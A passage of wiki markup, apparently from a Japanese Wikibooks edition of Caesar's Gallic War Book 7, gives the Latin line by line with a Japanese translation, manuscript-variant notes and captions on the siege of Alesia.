*post tergum hostium legionem ostenderunt signaque intulerunt. 
**敵方の背後に（第7）軍団を差し向けて、軍旗を進めた（＝進撃した）。
*⑦　Ne eo quidem tempore quisquam loco cessit, 
**その時でさえ、（ガッリア勢の）誰も（戦闘の）場から退却しなかった
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*sed circumventi omnes interfectique sunt. 
**けれども、総勢が包囲されて（ローマ軍により）殺戮された。
*Eandem fortunam tulit Camulogenus. 
**同じ不幸をカムロゲヌスも蒙った。
*⑧　At ii&lt;ref&gt;ii はχ系写本の記述で、他の写本では記述が異なる。&lt;/ref&gt;, qui praesidio contra castra Labieni erant relicti, 
**これに対して、ラビエーヌスの陣営に対して守備隊として残されていた（ガッリア勢の）者たちは、
*cum proelium commissum audissent, subsidio suis ierunt collemque ceperunt, 
**（両軍が）戦闘を交えているのを聞き付けたので、味方の援兵として出て行って、丘陵を占めていたが、
*neque nostrorum militum victorum impetum sustinere potuerunt. 
**勝勢の我が方（ローマ軍）の兵士たちの突撃を持ちこたえることができなかった。
*⑨　Sic cum suis fugientibus permixti, 
**このようにして、敗走している味方と混じり合ったときに、
*quos non silvae montesque texerunt, ab equitatu sunt interfecti. 
**森林や山岳が覆い隠すことのなかったその者たちは、（ローマ側の）騎兵隊によって殺戮された。
*⑩　Hoc negotio confecto Labienus revertitur Agedincum, 
**この戦役が成し遂げられると、ラビエーヌスは[[w:サンス|アゲディンクム]]に引き返した。
*ubi impedimenta totius exercitus relicta erant; 
**そこには軍隊全体の[[w:輜重|輜重]]が残されていたのだ。
*inde die Ⅲ.&lt;ref&gt;inde die Ⅲ. は近代の校訂者による修正提案で、Q･M･S･N･β系写本では単に inde 、他の写本では別の記述になっている。&lt;/ref&gt; cum omnibus copiis ad Caesarem pervenit.
**そこから3日目（＝2日後）にすべての軍勢とともにカエサルのところへ到着した。

==ガッリア戦乱の拡大==
===63節===
'''ハエドゥイー族がウェルキンゲトリークスに主導権争いを挑む'''
*①　Defectione [[w:la:Haedui|Haeduorum]] cognita bellum augetur. 
**[[w:ハエドゥイ族|ハエドゥイー族]]の背反が知られて、戦乱は拡大された。
*②　Legationes in omnes partes circummittuntur; 
**（ハエドゥイー族らにより）使節たちがあらゆる方面に遣わされまくり、
*quantum gratia, auctoritate, pecunia valent, ad sollicitandas civitates nituntur; 
**信望、勢力や金銭によってできる限り、諸部族をそそのかすことに努めた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quantum ～ valere「～によってできる限り」）&lt;/span&gt;
*③　nacti obsides, quos Caesar apud eos deposuerat,  
**カエサルが彼ら（ハエドゥイー族）のもとに預けて置いた人質たちを手に入れて、
*horum supplicio dubitantes territant.
**彼ら（人質たち）の処刑（を示唆すること）によって、決心がつかぬ者たちを恐れさせた。
*④　Petunt a [[w:la:Vercingetorix|Vercingetorige]] Haedui, ut ad se veniat rationesque belli gerendi communicet; 
**ハエドゥイー族は、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]に、自分たちのところへ来て戦争遂行の戦略を協議するように要求した。
*re impetrata contendunt, ut ipsis summa imperii tradatur. 
**その事が成し遂げられると、（ハエドゥイー族）自身に最高司令権が委ねられるように頑張った。
*Et re&lt;ref&gt;et re は近代の校訂者による修正提案で、β系写本では re 、α系写本では et rem となっている。&lt;/ref&gt; in controversiam deducta totius Galliae concilium [[w:la:Bibracte|Bibracte]] indicitur. 
**その事が論争の状態に置かれて、[[w:ビブラクテ|ビブラクテ]]でのガッリア全体の会合が公示された。
*Eodem conveniunt&lt;ref&gt;Eodem conveniunt はα系写本の記述で、β系写本では単に conveniunt 、etc.となっている。&lt;/ref&gt; undique frequentes. 
**同じところに至る所からたくさんの者たちが集まって来た。
*⑥　Multitudinis suffragiis res permittitur; 
**（最高司令権の）事は衆人の票決に任せられて、
*ad unum omnes Vercingetorigem probant imperatorem. 
**衆議一決により、ウェルキンゲトリークスを将軍（最高司令官）として承認した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ad unum omnes「最後の一人に至るまですべて」）&lt;/span&gt;
*⑦　Ab hoc concilio Remi, Lingones, Treveri afuerunt, 
**この会合へは、[[w:レミ族|レーミー族]]、リンゴネス族、トレウェリ族が不在であった。
*illi quod amicitiam Romanorum sequebantur, 
**前者（レーミー族とリンゴネス族）は、ローマ人との友好を遵守したので（不在であった）。
*Treveri quod aberant longius et ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; [[w:la:Germani|Germanis]] premebantur, 
**トレウェリ族は、はるか遠くに離れており、[[w:ゲルマニア|ゲルマニア]]人により圧迫されていた。
*quae fuit causa quare toto abessent bello 
**それが、何ゆえに（ウェルキンゲトリークスによる）戦争全体に関与しなかったかの理由であり、
*et neutris auxilia mitterent. 
**（ウェルキンゲトリークスとカエサルの）どちら側にも援軍を派遣しなかった。
*⑧　Magno dolore Haedui ferunt se deiectos principatu, 
**ハエドゥイー族は、自分たちが盟主の座から遠ざけられて、とても憤懣やるかたなかったし、
*queruntur fortunae commutationem 
**境遇の変わりようを嘆いて、
*et Caesaris indulgentiam in se&lt;ref&gt;indulgentiam in se はα系写本の記述で、β系写本では in se indulgentiam となっている。&lt;/ref&gt; requirunt 
**カエサルの自分たちへの寛大さを惜しんだ。
*neque tamen suscepto bello suum consilium ab reliquis separare audent. 
**けれども戦争を引き受けてしまったので、あえて自分たちの作戦計画をほか（の諸部族）と異にしなかった。
*⑨　Inviti summae spei adulescentes Eporedorix et Viridomarus Vercingetorigi parent.
**たいへんな野心を持つ青年たち[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]は、意に反してウェルキンゲトリークスに服従した。

===64節===
'''ウェルキンゲトリークスがガッリア諸部族の誘降・服従を謀る'''
*①　Ipse&lt;ref&gt;ipse はα系写本の記述で、β系写本では ille となっている。&lt;/ref&gt; imperat reliquis civitatibus obsides denique ei rei constituit diem; 
**（ウェルキンゲトリークス）自身は、ほかの諸部族に人質（の供出）を命令して、のみならずその事の期日を決めた。
*huc omnes equites, [[wikt:la:quindecim|XV(quindecim)]] milia numero, celeriter convenire iubet. 
**そこに、1万5000名の数のすべての[[w:騎兵|騎兵]]に、速やかに集結することを命じた。
*②　Peditatu quem antea habuerit se fore contentum dicit 
**（歩兵については）自分は、以前から持っていた[[w:歩兵|歩兵隊]]で満足するであろうと言った。
*neque fortunam temptaturum aut in acie&lt;ref&gt;in acie はα系写本の記述で、β系写本では単に acie となっている。&lt;/ref&gt; dimicaturum, 
**（歩兵で）武運を試すことはしないであろうし、あるいは野戦で（白兵戦を）闘うこともないであろう、と。
*sed quoniam abundet equitatu, 
**しかし、騎兵隊は豊富であるから、
*perfacile esse factu frumentationibus pabulationibusque Romanos prohibere; 
**ローマ人たちの糧食・糧秣徴発を妨げることは、とても容易である、と。
*③　aequo modo animo sua ipsi frumenta corrumpant aedificiaque incendant, 
**ただ平静な心で、自分たちの穀物を自身で傷めて、（穀物の）建屋を焼打ちするように。
*qua rei familiaris iactura perpetuum imperium libertatemque se consequi videant. 
**資産の犠牲により、永久の領有権と自由を自分たちが獲得することを思え、と。
*④　His constitutis rebus 
**これらの事が決定されると、
*[[w:la:Haedui|Haeduis]] Segusiavisque, qui sunt finitimi provinciae, decem milia peditum imperat; 
**[[w:ハエドゥイ族|ハエドゥイー族]]および（ローマ人の）属州に隣接するセグスィアウィ族には1万の歩兵（の供出）を命令していたが、
*huc addit equites [[wikt:la:octingenti|octingentos]]. 
**この中に、800騎の騎兵たち（の供出）を付け加えた。
*⑤　His praeficit fratrem Eporedorigis bellumque inferri&lt;ref&gt;inferri はα系写本の記述で、β系写本では inferre となっている。&lt;/ref&gt; Allobrogibus iubet. 
**彼らをエポレドリクスの兄弟に指揮させて、アッロブロゲス族に戦争をしかけることを命じた。
*⑥　Altera ex parte Gabalos proximosque &lt;u&gt;[[wikt:en:pagus#Latin|pagos]]&lt;/u&gt; Arvernorum in Helvios, 
**別の方面から、ガバリ族および近隣のアルウェルニー族の諸&lt;u&gt;郷&lt;/u&gt;に、ヘルウィイ族のところに（攻め入るように）、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''pagus'' (郷) はここでは、部族の領土の農村区画を指す行政用語&lt;ref name=&quot;pagus&quot;&gt;''[[w:en:Pagus]]'' 等を参照。&lt;/ref&gt;。）&lt;/span&gt;
*item Rutenos Cadurcosque ad fines Volcarum Arecomicorum depopulandos mittit. 
**同様に、ルテーニー族およびカドゥルキー族に、ウォルカエ・アレコミキ族の領土を荒らしまわるべく派遣した。
*⑦　Nihilo minus clandestinis nuntiis legationibusque Allobrogas&lt;ref&gt;Allobrogas はα系写本の記述で、β系写本では Allobroges となっている。&lt;/ref&gt; sollicitat, 
**それにもかかわらず、隠密に伝令たちや使節たちにより、アッロブロゲス族を（蜂起を）そそのかした。
*quorum mentes nondum ab&lt;ref&gt;ab はβ系写本の記述で、α系写本では ab となっている。&lt;/ref&gt; superiore bello resedisse sperabat. 
**彼ら（アッロブロゲス族）の心がかつての戦争からまだ静まっていないことを期待したのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：アッロブロゲス族は、BC61年にローマに反旗を翻し、翌BC60年に鎮圧されていた。[[ガリア戦記 第1巻#6節|第1巻6節]]を参照。）&lt;/span&gt;
*⑧　Horum principibus pecunias, 
**彼らの領袖たちに金銭を（約束し）、
*civitati autem imperium totius provinciae pollicetur.
**さらに部族には（カエサル統治下の）属州全体の支配権をも約束したのだ。

===65節===
'''カエサルと同盟諸部族の防戦。ゲルマニア騎兵を呼び寄せる'''
*①　Ad hos omnes casus provisa erant praesidia cohortium duarum et viginti, 
**これらすべての出来事に対して、（カエサルは）22個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からなる守備隊を用意していた。
*quae ex ipsa coacta&lt;ref&gt;coacta はχ系･β系写本の記述で、φ系写本にはない。&lt;/ref&gt; provincia ab L.(Lucio) Caesare legato 
**それらは、&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ルキウス・カエサルによって属州全体から徴集されたもので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ここでいう属州とは、[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]を指すと思われる。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;ルキウス・ユリウス・カエサル4世 [[w:en:Lucius Julius Caesar IV|Lucius Julius Caesar IV]] は本書の著者カエサルと4代前の高祖父を共有する元執政官。[[w:en:Julii Caesares|Julii Caesares]] を参照。）&lt;/span&gt;
*ad omnes partes opponebantur. 
**あらゆる方面に対して配置された。
*②　Helvii sua sponte cum finitimis proelio congressi pelluntur 
**[[w:ヘルウィイ族|ヘルウィイ族]]は、自分たちの意思により、近隣（の諸部族）と戦闘で争って撃退され、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この部族については[[#7節|7節]]～8節を参照。）&lt;/span&gt;
*et C.(Gaio) Valerio Domnotauro&lt;ref&gt;Domnotauro はS･L･N写本の記述で、A･B･N写本では Donnotauro 、χ系･π系写本では Donotauro となっており、ρ系写本には記述がない。&lt;/ref&gt;, Caburi filio, principe civitatis, 
**カブルスの息子で、部族の領袖であるガイウス・ウァレリウス・ドムノタウルス
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：彼は、ローマとの友好により、ローマ人風の名前を与えられていたのであろう。）&lt;/span&gt;
*compluribusque aliis interfectis intra oppida ac muros&lt;ref&gt;ac muros はα系写本の記述で、β系写本では murosque となっている。&lt;/ref&gt; compelluntur. 
**および他のかなりの者たちが殺戮されて、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と城壁の内側に追い込まれた。
*③　Allobroges crebris ad [[w:la:Rhodanus|Rhodanum]] dispositis praesidiis 
**[[w:アッロブロゲス族|アッロブロゲス族]]は、ロダヌス（＝現[[w:ローヌ川|ローヌ川]]）のところへ密に守備隊を分け置いて、
*magna cum cura et diligentia suos fines tuentur. 
**たいへんな注意と入念さにより、自分たちの領土を守った。
*④　Caesar quod hostes equitatu superiores esse intellegebat 
**カエサルは、敵方が[[w:騎兵|騎兵隊]]で（自軍より）優っていると認識していたので、
*et interclusis omnibus itineribus nulla re ex provincia atque Italia sublevari poterat, 
**かつ、すべての道が遮られて、属州やイタリアから何ら支援されることができなかったので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：属州 provincia とはガッリア・トラーンサルピーナ、イタリア Italia とは[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]のことであろう。）&lt;/span&gt;
*trans [[w:la:Rhenus|Rhenum]] in [[wikt:la:Germania|Germaniam]] mittit ad eas civitates, quas superioribus annis pacaverat, 
**レヌス（＝現[[w:ライン川|ライン川]]）の向こう側の[[w:ゲルマニア|ゲルマニア]]に、先年に平定していた諸部族のところへ（使節を）遣わした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ゲルマニア遠征や平定については、[[ガリア戦記 第4巻#16節|第4巻16節]]～19節、[[ガリア戦記 第6巻#9節|第6巻9節]]～10節を参照。）&lt;/span&gt;
*equitesque ab his arcessit et levis armaturae pedites, 
**彼らから、騎兵たち、および[[w:ウェリテス|軽い武装の歩兵]]たちを呼び寄せた。
*qui inter eos proeliari consuerant. 
**その者ら（軽装歩兵）は、彼ら（騎兵）の間で戦闘することが常であったのだ。
*⑤　Eorum adventu, quod minus idoneis equis utebantur, 
**彼ら（ゲルマニア騎兵）が到着すると、（戦闘に）あまり適していない馬を使役していたので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ゲルマニア人の馬の使用については、[[ガリア戦記 第4巻#2節|第4巻2節]]を参照。）&lt;/span&gt;
*a tribunis militum reliquisque equitibus Romanis atque evocatis equos sumit 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちやほかのローマ人騎士たちや&lt;ruby&gt;&lt;rb&gt;再徴集兵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;エウォカティ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちから、馬匹を取り上げて、
*[[w:la:Germani|Germanis]]que distribuit.
**ゲルマニア人たちに分配した。

===66節===
'''属州へと南下するカエサル、迎え撃とうとするウェルキンゲトリークス'''
*①　Interea dum haec geruntur, 
**その間に、これらが出来している間に、
*hostium copiae ex Arvernis 
**敵方の（歩兵の）軍勢が（滞陣していたゲルゴウィアの）[[w:アルウェルニ族|アルウェルニー族]]のところから、
*equitesque qui toti Galliae erant imperati conveniunt. 
**および全ガッリアの命令されていた[[w:騎兵|騎兵]]たちが、（ウェルキンゲトリークスのところに）集結して来た。
*②　Magno horum coacto numero, 
**これらの（ガッリア兵の）多数が徴集されて、
*cum Caesar in Sequanos per extremos Lingonum fines iter faceret, 
**カエサルが、[[w:セクアニ族|セクアニ族]]のところに（向かって）[[w:リンゴネス族|リンゴネス族]]の領土の外縁を通って行軍していたときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：属州へは、リンゴネス族と後述のマンドゥビイ族の間を通ってセクアニ族領を通らねばならなかった。）&lt;/span&gt;
*quo facilius subsidium provinciae ferri&lt;ref&gt;ferri はα系写本の記述で、β系写本では ferre となっている。&lt;/ref&gt; posset, 
**（それは）属州（ガッリア・トラーンサルピーナ）に援兵をより容易にもたらせるようにするためであったが、
*circiter milia passuum X(decem) ab Romanis trinis castris [[w:la:Vercingetorix|Vercingetorix]] consedit 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ローマ人たちから約10ローママイル（15km）のところに、3つの陣営にて陣取った。
*③　convocatisque ad concilium praefectis equitum 
**（ウェルキンゲトリークスは）騎兵の指揮官たちを会合へ召集して、
*venisse tempus victoriae demonstrat; 
**勝利の時が来たと、明言した。
*fugere in provinciam Romanos Galliaque excedere. 
**ローマ人たちは属州に逃亡して、ガッリアから立ち退きつつある、と。
*④　Id sibi ad praesentem obtinendam libertatem satis esse; 
**それは、自分たちにとって目下のところ、自由を維持するためには十分であるが、
*ad reliqui temporis pacem atque otium parum profici; 
**将来の平和と平穏は不充分にしか得られない。
*maioribus enim coactis copiis reversuros 
**なぜなら（ローマ人たちは）より大きな軍勢を徴集して（ガッリアに）戻って来るであろうし、
*neque finem bellandi facturos. 
**戦争することに結末をつけることはないであろう。
*Proinde agmine impeditos adorirentur&lt;ref&gt;adorirentur はA･β系写本の記述で、M･L･N写本では adoriantur 、S写本では adorantur 、Q･B･M写本ではadorientur となっている。&lt;/ref&gt;. 
**それゆえに、（ローマ勢の）行軍によって重荷となっている（輜重隊の）者たちを襲撃するのだ。
*⑤　Si pedites suis auxilium ferant atque in eo morentur, iter facere&lt;ref&gt;facere はα系写本の記述で、β系写本では confici となっている。&lt;/ref&gt; non posse; 
**もし（ローマ勢の）歩兵たちが味方を支援し、そのことで滞留するならば、（属州へ）行軍することはできない。
*si ─id quod magis futurum confidat─ 
**もし、─（我は）むしろそうなるであろうと期待することであるが─
*relictis impedimentis suae saluti consulant, 
**（ローマ歩兵たちが）[[w:輜重|輜重]]を残して、自分たちの身の安全に意を用いるならば、
*et usu rerum necessariarum et dignitate spoliatum iri. 
**必需品の使用や（ローマ人としての）品格をはぎ取られることになる。
*⑥　Nam de equitibus hostium, 
**なぜなら、敵方の騎兵については
**&lt;span style=&quot;color:#009900;&quot;&gt;:（訳注：著者カエサルはここでは、間接話法でありながら、ローマ勢について hostium「敵方の」と表現している。）&lt;/span&gt;
*quin nemo eorum progredi modo extra agmen audeat, 
**彼ら（ローマ騎兵）のうち誰も、&lt;ruby&gt;&lt;rb&gt;行軍縦隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アグメン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の外にすら、あえて進み出ようとしないこと、
*et ipsos quidem non&lt;ref&gt;et ipsos quidem non はα系写本の記述で、β系写本では ne ipsos quidem となっている。&lt;/ref&gt; debere dubitare. 
**（そのことを、諸君ら）自身は決して疑念を持つことなかれ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*Id quo maiore faciant animo, 
**それ（＝輜重隊への襲撃）を、より大胆な心構えで実行してもらうために、
*copias se omnes pro castris habiturum et terrori hostibus futurum. 
**自分（ウェルキンゲトリークス）が軍勢すべてを陣営の前に保持しておくであろうし、敵方の心胆を寒からしめるであろう。
*⑦　Conclamant equites 
**（ガッリア勢の）騎兵たちは（以下のように）叫んだ。
*sanctissimo iure iurando confirmari oportere, 
**最も神聖な誓約によって確証されなければならぬ。
*ne tecto recipiatur, ne ad liberos, ne ad parentes, ad&lt;ref&gt;ne ad …, ne ad …, ad が写本(ω)の記述であるが、モイゼル Meusel は ne ad …, ad …, ad と修正提案をしている。&lt;/ref&gt; uxorem aditum habeat, 
**（以下の者は）家に迎え入れられたり、子供たちや親たちや妻女たちのところへ近づくことがないように。
*qui non bis per agmen hostium perequitasset&lt;ref&gt;perequitasset はα系写本の記述で、β系写本では perequitarit となっている。&lt;/ref&gt;.
**敵方（ローマ勢）の隊列を越えて（往復の）2度、騎馬で駆け抜けることがなかった者は。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：敵中突破と生還を成し遂げなかった騎兵は、復員してはならない、と誓約したのである。）&lt;/span&gt;

===67節===
'''カエサル麾下のゲルマニア騎兵がウェルキンゲトリークスを一蹴'''
*①　Probata re atque omnibus iure iurando adactis 
**これが賛同されて、（ガッリア騎兵の）皆が誓約させられて、
*postero die in tres partes distributo equitatu 
**翌日に、[[w:騎兵|騎兵隊]]を3つの分隊に分配した。
*duae se acies ab duobus lateribus ostendunt, 
**2隊は（ローマ勢の左右）2つの側面から&lt;ruby&gt;&lt;rb&gt;戦闘隊形&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アキエス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;として現われた。
*una a&lt;ref&gt;a はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; primo agmine iter impedire coepit. 
**1隊は（ローマ勢の）前衛から行軍を妨げ始めた。
*②　Qua re nuntiata 
**その事が報告されて、
*Caesar suum quoque equitatum tripertito divisum contra hostem ire iubet. 
**カエサルは麾下の騎兵隊おのおのを3つに配分して、敵に対して向かって行くことを命じた。
*Pugnatur una omnibus in partibus. 
**（騎兵戦が）同時にすべての方面で戦われた。
*③　Consistit agmen; 
**（ローマ勢の）&lt;ruby&gt;&lt;rb&gt;行軍縦隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アグメン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は一歩も引かなかった。
*impedimenta intra legiones recipiuntur. 
**[[w:輜重|輜重]]は諸[[w:ローマ軍団|軍団]]の内側に後退した。
*④　Si qua in parte nostri laborare aut gravius premi videbantur, 
**もし、我が方（ローマ勢）のある部隊が苦戦したり、またはひどく押されぎみだと思われたならば、
*eo signa inferri Caesar aciemque constitui&lt;ref&gt;constitui はα系写本の記述で、β系写本では converti 、T写本では conferri となっている。&lt;/ref&gt; iubebat; 
**カエサルはそこに進撃して戦列を組織することを命じた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：signa inferre「軍旗を進める、進撃する」）&lt;/span&gt;
*quae res et hostes ad insequendum tardabat et nostros spe auxilii confirmabat. 
**その事が、敵方が追撃して来るのを遅らせもしたし、我が方が支援の希望により元気付けられもした。
*⑤　Tandem Germani ab dextro latere summum iugum nacti hostes loco depellunt, 
**ついに、ゲルマニア人（騎兵）たちが右の側面から尾根の頂きを掌握して、敵方をその場から追いやった。
*fugientes usque ad flumen, 
**逃亡する（ガッリア騎兵の）者たちを川の辺りまで（追って）、
*ubi [[w:la:Vercingetorix|Vercingetorix]] cum pedestribus copiis consederat, 
**そこには[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が[[w:歩兵|歩兵]]の軍勢とともに陣取っていたのだが、
*persecuntur&lt;ref&gt;persecuntur はα系写本の記述で、β系写本では persequuntur となっている。&lt;/ref&gt; compluresque interficiunt. 
**（ゲルマニア騎兵が敵を川辺まで）追撃して、かなりの者たちを殺戮した。
*⑥　Qua re animadversa 
**その事が（敵方に）気付かれて、
*reliqui ne circumirentur&lt;ref&gt;circumirentur はA･φ系写本の記述で、Q･β系写本では circumvenirentur となっている。&lt;/ref&gt; veriti se fugae mandant. 
**（ガッリア勢の）残りの者たちは、包囲されないようにと怖れて、逃亡に身を任せた。
*Omnibus locis fit caedes. 
**（こうしてローマ方により）あらゆる場所で虐殺が行なわれた。
*⑦　Tres nobilissimi [[w:la:Haedui|Haedui]] capti ad Caesarem perducuntur: 
**[[w:ハエドゥイ族|ハエドゥイー族]]の3人の高位の貴族が捕らえられて、カエサルのところへ連行されて来た。
*Cotus, praefectus equitum, qui controversiam cum Convictolitavi proximis comitiis habuerat, 
**コトゥスは騎兵指揮官で、最近の会議でコンウィクトリタウィスと（統領の座をめぐって）係争した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#32節|32節]]～33節を参照。）&lt;/span&gt;
*et Cavarillus, qui post defectionem Litavicci pedestribus copiis praefuerat, 
**カウァリッルスは、リタウィックスの背反の後に、歩兵の軍勢を指揮していた。
*et Eporedorix, quo duce ante adventum Caesaris Haedui cum Sequanis bello contenderant.
**エポレドリクスは、カエサルの到来以前にハエドゥイー族の将帥としてセクアニ族と戦争を闘っていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この人物は、ウィリドマルスとともにカエサルを裏切ったエポレドリクスとは同名異人である。）&lt;/span&gt;

==アレスィア攻囲戦==
===68節===
[[画像:Alésia.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]であるとほぼ確実視されている仏アリーズ＝サント＝レーヌ村（[[w:fr:Alise-Sainte-Reine|Alise-Sainte-Reine]]）近郊のオソワ山（Mont Auxois）という丘陵の西端にある[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]像（&lt;small&gt;[[w:fr:Vercingétorix_(statue d'Aimé Millet)|Statue de Vercingétorix]]&lt;/small&gt;）。&lt;small&gt;[http://maps.google.co.jp/?ie=UTF8&amp;ll=47.538579,4.490544&amp;spn=0.001172,0.002401&amp;t=h&amp;z=19&amp;brcurrent=3,0x0:0x0,1 Googleマップ]&lt;/small&gt;の航空写真にもこの巨像が写っている。&lt;br&gt;当地はフランス東部[[w:ブルゴーニュ地域圏|ブルゴーニュ地方]][[w:コート＝ドール県|コート＝ドール県]]（&lt;small&gt;[[w:fr:Côte-d'Or|Côte-d'Or]]&lt;/small&gt;）のオソワ地域（&lt;small&gt;[[w:fr:Auxois (région)|L'Auxois]]&lt;/small&gt;）にあり、県都[[w:ディジョン|ディジョン]]市街から西北西へ約4.5kmの地点に位置する。ディジョン方面から県道905号（D905）を北西に進んで行くと、ヴナレ＝レ＝ローム（&lt;small&gt;[[w:fr:Venarey-les-Laumes|Venarey-les-Laumes]]&lt;/small&gt;）から東の郊外にかけて古戦場跡が広がる。&lt;br&gt;オソワ（Auxois）という地域名・山名は、ラテン語の Alesiensis pagus「アレスィア郷」が転訛し、アリーズ（Alise）の名もアレスィア（Alesia）に由来すると考えられている。サント＝レーヌ（[[w:fr:Sainte Reine|Sainte Reine]] 聖レグニア）とはこの地でAD252年に殉教したキリスト教徒ガッリア人女性で、カトリック教会から聖人に列せられている。]]

'''ウェルキンゲトリークスがアレスィア入城、カエサルは攻囲を決断'''
*①　Fugato omni equitatu 
**すべての[[w:騎兵|騎兵隊]]が逃げてしまったので、
*[[w:la:Vercingetorix|Vercingetorix]] copias suas&lt;ref&gt;suas はβ系写本の記述で、α系写本にはない。&lt;/ref&gt;, ut pro castris conlocaverat, reduxit 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、陣営の前に配置するようにしていた麾下の（歩兵の）軍勢を呼び戻して、
*protinusque [[w:la:Alesia|Alesiam]], quod est oppidum Mandubiorum, iter facere coepit 
**すぐに、マンドゥビイ族の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;である[[w:アレシア|アレスィア]]へ行軍し始めた。
*celeriterque impedimenta ex castris educi et se subsequi iussit. 
**かつ、速やかに陣営から[[w:輜重|輜重]]を進発させること、および自分に追随すること、を命じた。
*②　Caesar impedimentis in proximum collem deductis, 
**カエサルは、輜重を近隣の丘陵に移させて、
*duabus legionibus praesidio relictis, 
**2個[[w:ローマ軍団|軍団]]を（輜重の）守備隊として（その丘陵に）残留させた。
*secutus quantum diei tempus est passum, 
**日中の時間が許される限り（ガッリア勢を）追跡して、
*circiter tribus milibus hostium ex novissimo agmine interfectis 
**敵方の後衛のうちから約3000人を殺戮して、
*altero die ad Alesiam castra fecit. 
**翌日には、アレスィアの辺りに陣営を張った。
*③　Perspecto urbis situ 
**（アレスィアの）都市の地勢を吟味して、
*perterritisque hostibus, quod equitatu, qua maxime parte exercitus confidebant, erant pulsi, 
**敵方は、部隊の大部分において頼りにしていた騎兵隊が撃退されていたので、怖れおののいていたから、
*adhortatus ad laborem milites circumvallare instituit.
**（カエサルは）兵士たちを労役に駆り立てて、（敵陣を）[[w:堡塁|堡塁]]で囲むことを決断した。

===69節===
[[画像:Alise2.jpg|thumb|right|300px|[[w:アレシア|アレスィア]]にあったローマ時代の[[w:フォルム|フォルム]]（広場）や[[w:バシリカ|バシリカ]]（教会堂）などと思われる遺跡（[http://maps.google.co.jp/?ie=UTF8&amp;t=h&amp;brcurrent=3,0x0:0x0,1&amp;ll=47.539477,4.5008&amp;spn=0.002343,0.004801&amp;z=18 Googleマップ]の航空写真を参照）。現在、オソワ山（Mont Auxois）と呼ばれているこの丘陵は、頂きが平坦な台地状になっており、その中央のさらに高い所に[[w:オッピドゥム|オッピドゥム]]（城塞都市）があったと思われる。&lt;br&gt;上の画像からは、同等の高さの丘陵が周囲を取り巻いていることが見て取れる。&lt;br&gt;『ガリア戦記』に書かれたアレスィアの所在地については諸説があって永らく不明であったが、ゲルゴウィアと同様に19世紀のウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）の発掘調査によってローマ軍の遺構などが発見され、地勢もカエサルの記述にかなり合っていると見なされて、オソワ山とその中腹にあるアリーズ＝サント＝レーヌが有力視されることになった。]]

'''アレスィアの地勢、ローマ軍の攻囲線'''
